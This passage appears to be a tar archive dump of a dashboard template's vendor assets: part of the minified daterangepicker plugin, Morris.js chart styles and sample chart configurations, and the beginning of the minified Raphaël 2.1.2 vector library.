.ampmselect").val())&&n<12&&(n+=12),"AM"===h&&12===n&&(n=0);var r=parseInt(this.container.find(".left .minuteselect").val(),10),o=this.timePickerSeconds?parseInt(this.container.find(".left .secondselect").val(),10):0;s=s.clone().hour(n).minute(r).second(o)}this.endDate=null,this.setStartDate(s.clone())}else if(!this.endDate&&s.isBefore(this.startDate))this.setEndDate(this.startDate.clone());else{if(this.timePicker){var h;n=parseInt(this.container.find(".right .hourselect").val(),10);if(!this.timePicker24Hour)"PM"===(h=this.container.find(".right .ampmselect").val())&&n<12&&(n+=12),"AM"===h&&12===n&&(n=0);r=parseInt(this.container.find(".right .minuteselect").val(),10),o=this.timePickerSeconds?parseInt(this.container.find(".right .secondselect").val(),10):0;s=s.clone().hour(n).minute(r).second(o)}this.setEndDate(s.clone()),this.autoApply&&(this.calculateChosenLabel(),this.clickApply())}this.singleDatePicker&&(this.setEndDate(this.startDate),this.timePicker||this.clickApply()),this.updateView(),t.stopPropagation()}},calculateChosenLabel:function(){var t=!0,e=0;for(var a in this.ranges){if(this.timePicker){var i=this.timePickerSeconds?"YYYY-MM-DD hh:mm:ss":"YYYY-MM-DD hh:mm";if(this.startDate.format(i)==this.ranges[a][0].format(i)&&this.endDate.format(i)==this.ranges[a][1].format(i)){t=!1,this.chosenLabel=this.container.find(".ranges li:eq("+e+")").addClass("active").attr("data-range-key");break}}else if(this.startDate.format("YYYY-MM-DD")==this.ranges[a][0].format("YYYY-MM-DD")&&this.endDate.format("YYYY-MM-DD")==this.ranges[a][1].format("YYYY-MM-DD")){t=!1,this.chosenLabel=this.container.find(".ranges li:eq("+e+")").addClass("active").attr("data-range-key");break}e++}t&&(this.showCustomRangeLabel?this.chosenLabel=this.container.find(".ranges li:last").addClass("active").attr("data-range-key"):this.chosenLabel=null,this.showCalendars())},clickApply:function(t){this.hide(),this.element.trigger("apply.daterangepicker",this)},clickCancel:function(t){this.startDate=this.oldStartDate,this.endDate=this.oldEndDate,this.hide(),this.element.trigger("cancel.daterangepicker",this)},monthOrYearChanged:function(t){var e=R(t.target).closest(".drp-calendar").hasClass("left"),a=e?"left":"right",i=this.container.find(".drp-calendar."+a),s=parseInt(i.find(".monthselect").val(),10),n=i.find(".yearselect").val();e||(n<this.startDate.year()||n==this.startDate.year()&&s<this.startDate.month())&&(s=this.startDate.month(),n=this.startDate.year()),this.minDate&&(n<this.minDate.year()||n==this.minDate.year()&&s<this.minDate.month())&&(s=this.minDate.month(),n=this.minDate.year()),this.maxDate&&(n>this.maxDate.year()||n==this.maxDate.year()&&s>this.maxDate.month())&&(s=this.maxDate.month(),n=this.maxDate.year()),e?(this.leftCalendar.month.month(s).year(n),this.linkedCalendars&&(this.rightCalendar.month=this.leftCalendar.month.clone().add(1,"month"))):(this.rightCalendar.month.month(s).year(n),this.linkedCalendars&&(this.leftCalendar.month=this.rightCalendar.month.clone().subtract(1,"month"))),this.updateCalendars()},timeChanged:function(t){var e=R(t.target).closest(".drp-calendar"),a=e.hasClass("left"),i=parseInt(e.find(".hourselect").val(),10),s=parseInt(e.find(".minuteselect").val(),10),n=this.timePickerSeconds?parseInt(e.find(".secondselect").val(),10):0;if(!this.timePicker24Hour){var r=e.find(".ampmselect").val();"PM"===r&&i<12&&(i+=12),"AM"===r&&12===i&&(i=0)}if(a){var o=this.startDate.clone();o.hour(i),o.minute(s),o.second(n),this.setStartDate(o),this.singleDatePicker?this.endDate=this.startDate.clone():this.endDate&&this.endDate.format("YYYY-MM-DD")==o.format("YYYY-MM-DD")&&this.endDate.isBefore(o)&&this.setEndDate(o.clone())}else if(this.endDate){var h=this.endDate.clone();h.hour(i),h.minute(s),h.second(n),this.setEndDate(h)}this.updateCalendars(),this.updateFormInputs(),this.renderTimePicker("left"),this.renderTimePicker("right")},elementChanged:function(){if(this.element.is("input")&&this.element.val().length){var t=this.element.val().split(this.locale.separator),e=null,a=null;2===t.length&&(e=H(t[0],this.locale.format),a=H(t[1],this.locale.format)),(this.singleDatePicker||null===e||null===a)&&(a=e=H(this.element.val(),this.locale.format)),e.isValid()&&a.isValid()&&(this.setStartDate(e),this.setEndDate(a),this.updateView())}},keydown:function(t){9!==t.keyCode&&13!==t.keyCode||this.hide(),27===t.keyCode&&(t.preventDefault(),t.stopPropagation(),this.hide())},updateElement:function(){if(this.element.is("input")&&this.autoUpdateInput){var t=this.startDate.format(this.locale.format);this.singleDatePicker||(t+=this.locale.separator+this.endDate.format(this.locale.format)),t!==this.element.val()&&this.element.val(t).trigger("change")}},remove:function(){this.container.remove(),this.element.off(".daterangepicker"),this.element.removeData()}},R.fn.daterangepicker=function(t,e){var a=R.extend(!0,{},R.fn.daterangepicker.defaultOptions,t);return this.each(function(){var t=R(this);t.data("daterangepicker")&&t.data("daterangepicker").remove(),t.data("daterangepicker",new i(t,a,e))}),this},i});vendor/morris/morris.css000066600000000715151150442740011413 0ustar00.morris-hover {
	position: absolute;
	z-index: 1000;
}
.morris-hover.morris-default-style {
	border-radius: 8px;
	padding: 10px 20px;
	color: #ffffff;
	background: #000000;
	box-shadow: 0 0 40px rgba(51, 51, 51, 0.15);
	font-size: 13px;
	text-align: center;
}
.morris-hover.morris-default-style .morris-hover-row-label {
	font-weight: bold;
	margin: 0.25em 0;
}
.morris-hover.morris-default-style .morris-hover-point {
	white-space: nowrap;
	margin: 0.1em 0;
}
vendor/morris/custom/negativeValues.js000066600000001566151150442740014225 0ustar00// Morris Negative values
var neg_data = [
	{ period: "2023-02-12", a: 100 },
	{ period: "2023-01-03", a: 75 },
	{ period: "2022-08-08", a: 50 },
	{ period: "2022-05-10", a: 25 },
	{ period: "2022-03-14", a: 0 },
	{ period: "2022-01-10", a: -25 },
	{ period: "2021-12-10", a: -50 },
	{ period: "2021-10-07", a: -75 },
	{ period: "2021-09-25", a: -100 },
];
Morris.Line({
	element: "negativeValues",
	data: neg_data,
	xkey: "period",
	ykeys: ["a"],
	labels: ["Series A"],
	units: "%",
	resize: true,
	hideHover: "auto",
	gridLineColor: "#cccccc",
	pointFillColors: ["#ffffff"],
	pointStrokeColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	lineColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
});
vendor/morris/custom/donutFormatter.js000066600000001101151150442740014241 0ustar00Morris.Donut({
	element: "donutFormatter",
	data: [
		{ value: 155, label: "voo", formatted: "at least 70%" },
		{ value: 12, label: "bar", formatted: "approx. 15%" },
		{ value: 10, label: "baz", formatted: "approx. 10%" },
		{ value: 5, label: "A really really long label", formatted: "at most 5%" },
	],
	resize: true,
	hideHover: "auto",
	formatter: function (x, data) {
		return data.formatted;
	},
	labelColor: "#594323",
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
});
vendor/morris/custom/stackedBar.js000066600000001242151150442740013275 0ustar00// Stacked Bar Chart
Morris.Bar({
	element: "stackedBar",
	data: [
		{ x: "2023 Q1", y: 3, z: 2, a: 3 },
		{ x: "2023 Q2", y: 2, z: null, a: 1 },
		{ x: "2023 Q3", y: 0, z: 2, a: 1 },
		{ x: "2023 Q4", y: 2, z: 3, a: 3 },
		{ x: "2022 Q1", y: 3, z: 2, a: 3 },
		{ x: "2022 Q2", y: 2, z: null, a: 1 },
		{ x: "2022 Q3", y: 0, z: 2, a: 4 },
		{ x: "2022 Q4", y: 2, z: 3, a: 3 },
	],
	xkey: "x",
	ykeys: ["y", "z", "a"],
	labels: ["Y", "Z", "A"],
	stacked: true,
	hideHover: "auto",
	resize: true,
	gridLineColor: "#cccccc",
	barColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
});
vendor/morris/custom/dayData.js000066600000002403151150442740012601 0ustar00// Morris Days
var day_data = [
	{ period: "2023-10-01", licensed: 3213, "Bootstrap Gallery": 887 },
	{ period: "2023-09-30", licensed: 3321, "Bootstrap Gallery": 776 },
	{ period: "2023-09-29", licensed: 3671, "Bootstrap Gallery": 884 },
	{ period: "2023-09-20", licensed: 3176, "Bootstrap Gallery": 448 },
	{ period: "2023-09-19", licensed: 3376, "Bootstrap Gallery": 565 },
	{ period: "2023-09-18", licensed: 3976, "Bootstrap Gallery": 627 },
	{ period: "2023-09-17", licensed: 2239, "Bootstrap Gallery": 660 },
	{ period: "2023-09-16", licensed: 3871, "Bootstrap Gallery": 676 },
	{ period: "2023-09-15", licensed: 3659, "Bootstrap Gallery": 656 },
	{ period: "2023-09-10", licensed: 3380, "Bootstrap Gallery": 663 },
];
Morris.Line({
	element: "dayData",
	data: day_data,
	xkey: "period",
	ykeys: ["licensed", "Bootstrap Gallery"],
	labels: ["Licensed", "Bootstrap Gallery"],
	resize: true,
	hideHover: "auto",
	gridLineColor: "#cccccc",
	pointFillColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	pointStrokeColors: ["#ffffff"],
	lineColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
});
vendor/morris/custom/donutColors.js000066600000001020151150442740013537 0ustar00// Morris Donut
Morris.Donut({
	element: "donutColors",
	data: [
		{ value: 30, label: "foo" },
		{ value: 15, label: "bar" },
		{ value: 10, label: "baz" },
		{ value: 5, label: "A really really long label" },
	],
	backgroundColor: "#17181c",
	labelColor: "#17181c",
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	resize: true,
	hideHover: "auto",
	gridLineColor: "#dfd6ff",
	formatter: function (x) {
		return x + "%";
	},
});
vendor/morris/custom/morrisBar.js000066600000000762151150442740013200 0ustar00// Morris Bar Chart
Morris.Bar({
	element: "morrisBar",
	data: [
		{ x: "2023 Q1", y: 2, z: 4, a: 2 },
		{ x: "2023 Q2", y: 5, z: 3, a: 1 },
		{ x: "2023 Q3", y: 2, z: 7, a: 4 },
		{ x: "2023 Q4", y: 5, z: 6, a: 3 },
	],
	xkey: "x",
	ykeys: ["y", "z", "a"],
	labels: ["Y", "Z", "A"],
	resize: true,
	hideHover: "auto",
	gridLineColor: "#cccccc",
	barColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
});
vendor/morris/custom/area.js000066600000001571151150442740012147 0ustar00// Morris Area Chart
Morris.Area({
	element: "areaChart",
	data: [
		{ y: "2017", a: 10, b: 5, c: 2 },
		{ y: "2018", a: 40, b: 15, c: 8 },
		{ y: "2019", a: 15, b: 50, c: 25 },
		{ y: "2020", a: 40, b: 15, c: 7 },
		{ y: "2021", a: 20, b: 30, c: 20 },
		{ y: "2022", a: 35, b: 15, c: 20 },
		{ y: "2023", a: 20, b: 15, c: 51 },
	],
	xkey: "y",
	ykeys: ["a", "b", "c"],
	behaveLikeLine: !0,
	pointSize: 0,
	labels: ["Sales", "Expenses", "Projects"],
	pointStrokeColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	gridLineColor: "#cccccc",
	lineColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	gridtextSize: 10,
	fillOpacity: 0.4,
	lineWidth: 0,
	hideHover: "auto",
	resize: true,
	redraw: true,
});
vendor/morris/custom/barColors.js000066600000001255151150442740013164 0ustar00// Morris Bar Colors
Morris.Bar({
	element: "barColors",
	data: [
		{ x: "January", Sales: 6 },
		{ x: "February", Sales: 1 },
		{ x: "March", Sales: 2 },
		{ x: "April", Sales: 3 },
		{ x: "May", Sales: 2 },
		{ x: "June", Sales: 4 },
		{ x: "July", Sales: 7 },
		{ x: "August", Sales: 2 },
		{ x: "September", Sales: 5 },
		{ x: "October", Sales: 9 },
		{ x: "November", Sales: 3 },
		{ x: "December", Sales: 5 },
	],
	xkey: "x",
	ykeys: ["Sales"],
	labels: ["Sales"],
	resize: true,
	gridLineColor: "#cccccc",
	hideHover: "auto",
	barColors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
});
vendor/morris/raphael-min.js000066600000262402151150442740012124 0ustar00// ┌────────────────────────────────────────────────────────────────────┐ \\
// │ Raphaël 2.1.2 - JavaScript Vector Library                          │ \\
// ├────────────────────────────────────────────────────────────────────┤ \\
// │ Copyright © 2008-2012 Dmitry Baranovskiy (http://raphaeljs.com)    │ \\
// │ Copyright © 2008-2012 Sencha Labs (http://sencha.com)              │ \\
// ├────────────────────────────────────────────────────────────────────┤ \\
// │ Licensed under the MIT (http://raphaeljs.com/license.html) license.│ \\
// └────────────────────────────────────────────────────────────────────┘ \\
!function(a){var b,c,d="0.4.2",e="hasOwnProperty",f=/[\.\/]/,g="*",h=function(){},i=function(a,b){return a-b},j={n:{}},k=function(a,d){a=String(a);var e,f=c,g=Array.prototype.slice.call(arguments,2),h=k.listeners(a),j=0,l=[],m={},n=[],o=b;b=a,c=0;for(var p=0,q=h.length;q>p;p++)"zIndex"in h[p]&&(l.push(h[p].zIndex),h[p].zIndex<0&&(m[h[p].zIndex]=h[p]));for(l.sort(i);l[j]<0;)if(e=m[l[j++]],n.push(e.apply(d,g)),c)return c=f,n;for(p=0;q>p;p++)if(e=h[p],"zIndex"in e)if(e.zIndex==l[j]){if(n.push(e.apply(d,g)),c)break;do if(j++,e=m[l[j]],e&&n.push(e.apply(d,g)),c)break;while(e)}else m[e.zIndex]=e;else if(n.push(e.apply(d,g)),c)break;return c=f,b=o,n.length?n:null};k._events=j,k.listeners=function(a){var b,c,d,e,h,i,k,l,m=a.split(f),n=j,o=[n],p=[];for(e=0,h=m.length;h>e;e++){for(l=[],i=0,k=o.length;k>i;i++)for(n=o[i].n,c=[n[m[e]],n[g]],d=2;d--;)b=c[d],b&&(l.push(b),p=p.concat(b.f||[]));o=l}return p},k.on=function(a,b){if(a=String(a),"function"!=typeof b)return function(){};for(var c=a.split(f),d=j,e=0,g=c.length;g>e;e++)d=d.n,d=d.hasOwnProperty(c[e])&&d[c[e]]||(d[c[e]]={n:{}});for(d.f=d.f||[],e=0,g=d.f.length;g>e;e++)if(d.f[e]==b)return h;return d.f.push(b),function(a){+a==+a&&(b.zIndex=+a)}},k.f=function(a){var b=[].slice.call(arguments,1);return function(){k.apply(null,[a,null].concat(b).concat([].slice.call(arguments,0)))}},k.stop=function(){c=1},k.nt=function(a){return a?new RegExp("(?:\\.|\\/|^)"+a+"(?:\\.|\\/|$)").test(b):b},k.nts=function(){return b.split(f)},k.off=k.unbind=function(a,b){if(!a)return k._events=j={n:{}},void 0;var c,d,h,i,l,m,n,o=a.split(f),p=[j];for(i=0,l=o.length;l>i;i++)for(m=0;m<p.length;m+=h.length-2){if(h=[m,1],c=p[m].n,o[i]!=g)c[o[i]]&&h.push(c[o[i]]);else for(d in c)c[e](d)&&h.push(c[d]);p.splice.apply(p,h)}for(i=0,l=p.length;l>i;i++)for(c=p[i];c.n;){if(b){if(c.f){for(m=0,n=c.f.length;n>m;m++)if(c.f[m]==b){c.f.splice(m,1);break}!c.f.length&&delete c.f}for(d in c.n)if(c.n[e](d)&&c.n[d].f){var q=c.n[d].f;for(m=0,n=q.length;n>m;m++)if(q[m]==b){q.splice(m,1);break}!q.length&&delete c.n[d].f}}else{delete c.f;for(d in c.n)c.n[e](d)&&c.n[d].f&&delete c.n[d].f}c=c.n}},k.once=function(a,b){var c=function(){return k.unbind(a,c),b.apply(this,arguments)};return k.on(a,c)},k.version=d,k.toString=function(){return"You are running Eve "+d},"undefined"!=typeof module&&module.exports?module.exports=k:"undefined"!=typeof define?define("eve",[],function(){return k}):a.eve=k}(this),function(a,b){"function"==typeof define&&define.amd?define(["eve"],function(c){return b(a,c)}):b(a,a.eve)}(this,function(a,b){function c(a){if(c.is(a,"function"))return u?a():b.on("raphael.DOMload",a);if(c.is(a,V))return c._engine.create[D](c,a.splice(0,3+c.is(a[0],T))).add(a);var d=Array.prototype.slice.call(arguments,0);if(c.is(d[d.length-1],"function")){var e=d.pop();return u?e.call(c._engine.create[D](c,d)):b.on("raphael.DOMload",function(){e.call(c._engine.create[D](c,d))})}return c._engine.create[D](c,arguments)}function d(a){if("function"==typeof a||Object(a)!==a)return a;var b=new a.constructor;for(var c in a)a[z](c)&&(b[c]=d(a[c]));return b}function e(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return a.push(a.splice(c,1)[0])}function f(a,b,c){function d(){var f=Array.prototype.slice.call(arguments,0),g=f.join("␀"),h=d.cache=d.cache||{},i=d.count=d.count||[];return h[z](g)?(e(i,g),c?c(h[g]):h[g]):(i.length>=1e3&&delete h[i.shift()],i.push(g),h[g]=a[D](b,f),c?c(h[g]):h[g])}return d}function g(){return this.hex}function h(a,b){for(var c=[],d=0,e=a.length;e-2*!b>d;d+=2){var f=[{x:+a[d-2],y:+a[d-1]},{x:+a[d],y:+a[d+1]},{x:+a[d+2],y:+a[d+3]},{x:+a[d+4],y:+a[d+5]}];b?d?e-4==d?f[3]={x:+a[0],y:+a[1]}:e-2==d&&(f[2]={x:+a[0],y:+a[1]},f[3]={x:+a[2],y:+a[3]}):f[0]={x:+a[e-2],y:+a[e-1]}:e-4==d?f[3]=f[2]:d||(f[0]={x:+a[d],y:+a[d+1]}),c.push(["C",(-f[0].x+6*f[1].x+f[2].x)/6,(-f[0].y+6*f[1].y+f[2].y)/6,(f[1].x+6*f[2].x-f[3].x)/6,(f[1].y+6*f[2].y-f[3].y)/6,f[2].x,f[2].y])}return c}function i(a,b,c,d,e){var f=-3*b+9*c-9*d+3*e,g=a*f+6*b-12*c+6*d;return a*g-3*b+3*c}function j(a,b,c,d,e,f,g,h,j){null==j&&(j=1),j=j>1?1:0>j?0:j;for(var k=j/2,l=12,m=[-.1252,.1252,-.3678,.3678,-.5873,.5873,-.7699,.7699,-.9041,.9041,-.9816,.9816],n=[.2491,.2491,.2335,.2335,.2032,.2032,.1601,.1601,.1069,.1069,.0472,.0472],o=0,p=0;l>p;p++){var q=k*m[p]+k,r=i(q,a,c,e,g),s=i(q,b,d,f,h),t=r*r+s*s;o+=n[p]*N.sqrt(t)}return k*o}function k(a,b,c,d,e,f,g,h,i){if(!(0>i||j(a,b,c,d,e,f,g,h)<i)){var k,l=1,m=l/2,n=l-m,o=.01;for(k=j(a,b,c,d,e,f,g,h,n);Q(k-i)>o;)m/=2,n+=(i>k?1:-1)*m,k=j(a,b,c,d,e,f,g,h,n);return n}}function l(a,b,c,d,e,f,g,h){if(!(O(a,c)<P(e,g)||P(a,c)>O(e,g)||O(b,d)<P(f,h)||P(b,d)>O(f,h))){var i=(a*d-b*c)*(e-g)-(a-c)*(e*h-f*g),j=(a*d-b*c)*(f-h)-(b-d)*(e*h-f*g),k=(a-c)*(f-h)-(b-d)*(e-g);if(k){var l=i/k,m=j/k,n=+l.toFixed(2),o=+m.toFixed(2);if(!(n<+P(a,c).toFixed(2)||n>+O(a,c).toFixed(2)||n<+P(e,g).toFixed(2)||n>+O(e,g).toFixed(2)||o<+P(b,d).toFixed(2)||o>+O(b,d).toFixed(2)||o<+P(f,h).toFixed(2)||o>+O(f,h).toFixed(2)))return{x:l,y:m}}}}function m(a,b,d){var e=c.bezierBBox(a),f=c.bezierBBox(b);if(!c.isBBoxIntersect(e,f))return d?0:[];for(var g=j.apply(0,a),h=j.apply(0,b),i=O(~~(g/5),1),k=O(~~(h/5),1),m=[],n=[],o={},p=d?0:[],q=0;i+1>q;q++){var r=c.findDotsAtSegment.apply(c,a.concat(q/i));m.push({x:r.x,y:r.y,t:q/i})}for(q=0;k+1>q;q++)r=c.findDotsAtSegment.apply(c,b.concat(q/k)),n.push({x:r.x,y:r.y,t:q/k});for(q=0;i>q;q++)for(var s=0;k>s;s++){var t=m[q],u=m[q+1],v=n[s],w=n[s+1],x=Q(u.x-t.x)<.001?"y":"x",y=Q(w.x-v.x)<.001?"y":"x",z=l(t.x,t.y,u.x,u.y,v.x,v.y,w.x,w.y);if(z){if(o[z.x.toFixed(4)]==z.y.toFixed(4))continue;o[z.x.toFixed(4)]=z.y.toFixed(4);var A=t.t+Q((z[x]-t[x])/(u[x]-t[x]))*(u.t-t.t),B=v.t+Q((z[y]-v[y])/(w[y]-v[y]))*(w.t-v.t);A>=0&&1.001>=A&&B>=0&&1.001>=B&&(d?p++:p.push({x:z.x,y:z.y,t1:P(A,1),t2:P(B,1)}))}}return p}function n(a,b,d){a=c._path2curve(a),b=c._path2curve(b);for(var e,f,g,h,i,j,k,l,n,o,p=d?0:[],q=0,r=a.length;r>q;q++){var s=a[q];if("M"==s[0])e=i=s[1],f=j=s[2];else{"C"==s[0]?(n=[e,f].concat(s.slice(1)),e=n[6],f=n[7]):(n=[e,f,e,f,i,j,i,j],e=i,f=j);for(var t=0,u=b.length;u>t;t++){var v=b[t];if("M"==v[0])g=k=v[1],h=l=v[2];else{"C"==v[0]?(o=[g,h].concat(v.slice(1)),g=o[6],h=o[7]):(o=[g,h,g,h,k,l,k,l],g=k,h=l);var w=m(n,o,d);if(d)p+=w;else{for(var x=0,y=w.length;y>x;x++)w[x].segment1=q,w[x].segment2=t,w[x].bez1=n,w[x].bez2=o;p=p.concat(w)}}}}}return p}function o(a,b,c,d,e,f){null!=a?(this.a=+a,this.b=+b,this.c=+c,this.d=+d,this.e=+e,this.f=+f):(this.a=1,this.b=0,this.c=0,this.d=1,this.e=0,this.f=0)}function p(){return this.x+H+this.y+H+this.width+" × "+this.height}function q(a,b,c,d,e,f){function g(a){return((l*a+k)*a+j)*a}function h(a,b){var c=i(a,b);return((o*c+n)*c+m)*c}function i(a,b){var c,d,e,f,h,i;for(e=a,i=0;8>i;i++){if(f=g(e)-a,Q(f)<b)return e;if(h=(3*l*e+2*k)*e+j,Q(h)<1e-6)break;e-=f/h}if(c=0,d=1,e=a,c>e)return c;if(e>d)return d;for(;d>c;){if(f=g(e),Q(f-a)<b)return e;a>f?c=e:d=e,e=(d-c)/2+c}return e}var j=3*b,k=3*(d-b)-j,l=1-j-k,m=3*c,n=3*(e-c)-m,o=1-m-n;return h(a,1/(200*f))}function r(a,b){var c=[],d={};if(this.ms=b,this.times=1,a){for(var e in a)a[z](e)&&(d[_(e)]=a[e],c.push(_(e)));c.sort(lb)}this.anim=d,this.top=c[c.length-1],this.percents=c}function s(a,d,e,f,g,h){e=_(e);var i,j,k,l,m,n,p=a.ms,r={},s={},t={};if(f)for(v=0,x=ic.length;x>v;v++){var u=ic[v];if(u.el.id==d.id&&u.anim==a){u.percent!=e?(ic.splice(v,1),k=1):j=u,d.attr(u.totalOrigin);break}}else f=+s;for(var v=0,x=a.percents.length;x>v;v++){if(a.percents[v]==e||a.percents[v]>f*a.top){e=a.percents[v],m=a.percents[v-1]||0,p=p/a.top*(e-m),l=a.percents[v+1],i=a.anim[e];break}f&&d.attr(a.anim[a.percents[v]])}if(i){if(j)j.initstatus=f,j.start=new Date-j.ms*f;else{for(var y in i)if(i[z](y)&&(db[z](y)||d.paper.customAttributes[z](y)))switch(r[y]=d.attr(y),null==r[y]&&(r[y]=cb[y]),s[y]=i[y],db[y]){case T:t[y]=(s[y]-r[y])/p;break;case"colour":r[y]=c.getRGB(r[y]);var A=c.getRGB(s[y]);t[y]={r:(A.r-r[y].r)/p,g:(A.g-r[y].g)/p,b:(A.b-r[y].b)/p};break;case"path":var B=Kb(r[y],s[y]),C=B[1];for(r[y]=B[0],t[y]=[],v=0,x=r[y].length;x>v;v++){t[y][v]=[0];for(var D=1,F=r[y][v].length;F>D;D++)t[y][v][D]=(C[v][D]-r[y][v][D])/p}break;case"transform":var G=d._,H=Pb(G[y],s[y]);if(H)for(r[y]=H.from,s[y]=H.to,t[y]=[],t[y].real=!0,v=0,x=r[y].length;x>v;v++)for(t[y][v]=[r[y][v][0]],D=1,F=r[y][v].length;F>D;D++)t[y][v][D]=(s[y][v][D]-r[y][v][D])/p;else{var K=d.matrix||new o,L={_:{transform:G.transform},getBBox:function(){return d.getBBox(1)}};r[y]=[K.a,K.b,K.c,K.d,K.e,K.f],Nb(L,s[y]),s[y]=L._.transform,t[y]=[(L.matrix.a-K.a)/p,(L.matrix.b-K.b)/p,(L.matrix.c-K.c)/p,(L.matrix.d-K.d)/p,(L.matrix.e-K.e)/p,(L.matrix.f-K.f)/p]}break;case"csv":var M=I(i[y])[J](w),N=I(r[y])[J](w);if("clip-rect"==y)for(r[y]=N,t[y]=[],v=N.length;v--;)t[y][v]=(M[v]-r[y][v])/p;s[y]=M;break;default:for(M=[][E](i[y]),N=[][E](r[y]),t[y]=[],v=d.paper.customAttributes[y].length;v--;)t[y][v]=((M[v]||0)-(N[v]||0))/p}var O=i.easing,P=c.easing_formulas[O];if(!P)if(P=I(O).match(Z),P&&5==P.length){var Q=P;P=function(a){return q(a,+Q[1],+Q[2],+Q[3],+Q[4],p)}}else P=nb;if(n=i.start||a.start||+new Date,u={anim:a,percent:e,timestamp:n,start:n+(a.del||0),status:0,initstatus:f||0,stop:!1,ms:p,easing:P,from:r,diff:t,to:s,el:d,callback:i.callback,prev:m,next:l,repeat:h||a.times,origin:d.attr(),totalOrigin:g},ic.push(u),f&&!j&&!k&&(u.stop=!0,u.start=new Date-p*f,1==ic.length))return kc();k&&(u.start=new Date-u.ms*f),1==ic.length&&jc(kc)}b("raphael.anim.start."+d.id,d,a)}}function t(a){for(var b=0;b<ic.length;b++)ic[b].el.paper==a&&ic.splice(b--,1)}c.version="2.1.2",c.eve=b;var u,v,w=/[, ]+/,x={circle:1,rect:1,path:1,ellipse:1,text:1,image:1},y=/\{(\d+)\}/g,z="hasOwnProperty",A={doc:document,win:a},B={was:Object.prototype[z].call(A.win,"Raphael"),is:A.win.Raphael},C=function(){this.ca=this.customAttributes={}},D="apply",E="concat",F="ontouchstart"in A.win||A.win.DocumentTouch&&A.doc instanceof DocumentTouch,G="",H=" ",I=String,J="split",K="click dblclick mousedown mousemove mouseout mouseover mouseup touchstart touchmove touchend touchcancel"[J](H),L={mousedown:"touchstart",mousemove:"touchmove",mouseup:"touchend"},M=I.prototype.toLowerCase,N=Math,O=N.max,P=N.min,Q=N.abs,R=N.pow,S=N.PI,T="number",U="string",V="array",W=Object.prototype.toString,X=(c._ISURL=/^url\(['"]?([^\)]+?)['"]?\)$/i,/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\))\s*$/i),Y={NaN:1,Infinity:1,"-Infinity":1},Z=/^(?:cubic-)?bezier\(([^,]+),([^,]+),([^,]+),([^\)]+)\)/,$=N.round,_=parseFloat,ab=parseInt,bb=I.prototype.toUpperCase,cb=c._availableAttrs={"arrow-end":"none","arrow-start":"none",blur:0,"clip-rect":"0 0 1e9 1e9",cursor:"default",cx:0,cy:0,fill:"#fff","fill-opacity":1,font:'10px "Open Sans"',"font-family":'"Open Sans"',"font-size":"10","font-style":"normal","font-weight":400,gradient:0,height:0,href:"http://raphaeljs.com/","letter-spacing":0,opacity:1,path:"M0,0",r:0,rx:0,ry:0,src:"",stroke:"#000","stroke-dasharray":"","stroke-linecap":"butt","stroke-linejoin":"butt","stroke-miterlimit":0,"stroke-opacity":1,"stroke-width":1,target:"_blank","text-anchor":"middle",title:"Raphael",transform:"",width:0,x:0,y:0},db=c._availableAnimAttrs={blur:T,"clip-rect":"csv",cx:T,cy:T,fill:"colour","fill-opacity":T,"font-size":T,height:T,opacity:T,path:"path",r:T,rx:T,ry:T,stroke:"colour","stroke-opacity":T,"stroke-width":T,transform:"transform",width:T,x:T,y:T},eb=/[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*/,fb={hs:1,rg:1},gb=/,?([achlmqrstvxz]),?/gi,hb=/([achlmrqstvz])[\x09\x0a\